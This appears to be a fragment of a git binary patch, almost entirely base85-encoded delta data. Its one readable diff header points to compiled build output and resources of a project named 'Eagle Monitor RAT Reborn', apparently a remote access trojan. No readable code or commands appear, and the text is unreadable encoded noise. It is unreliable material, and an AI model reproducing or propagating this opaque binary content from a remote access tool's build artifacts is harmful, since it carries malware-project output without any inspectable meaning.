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 delta 400 zcmdlri*cbl2OFaV0|Nu2|cBI76&6EBWFNja&~HoPi7J$Gf)i^ z5Hn9^^p>40Yn(ZGA*@VQ4c^BgcMnRx~TxBMD271N@ z#)g&*jGkcA6CC6=|1f>T2va+`kBet=1KWYk&nzOCCU4-8*t~(Wi*fS_n=;1D8+c@x zHrqK=gB5S~7r4*Jhid3%e&-^HNe9??H_sEZXWV?yHJNF%gVYtK$$w;18J8PnKeo7G?r!W9UlEVK{e-gOL%$VE_P^ C5FRQ3 delta 59 zcmV-B0L1^p9_1a7j0K~oqWrXxk%0x_0>G)dlNSLW1x^3}05_At0~oVY0b~u66%QZ| RH}3rJwAu&(0RR910081S6&C;i diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/obj/Release/Eagle_Monitor_RAT_Reborn.Properties.Resources.resources b/Remote Access Tool/Eagle Monitor RAT Reborn/obj/Release/Eagle_Monitor_RAT_Reborn.Properties.Resources.resources index d130dc9d999e48633c86f2b5dd79fbf9a164712a..3952e5539a45823475d4e0de61f3e3650182a7ef 100644 GIT binary patch delta 8397 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 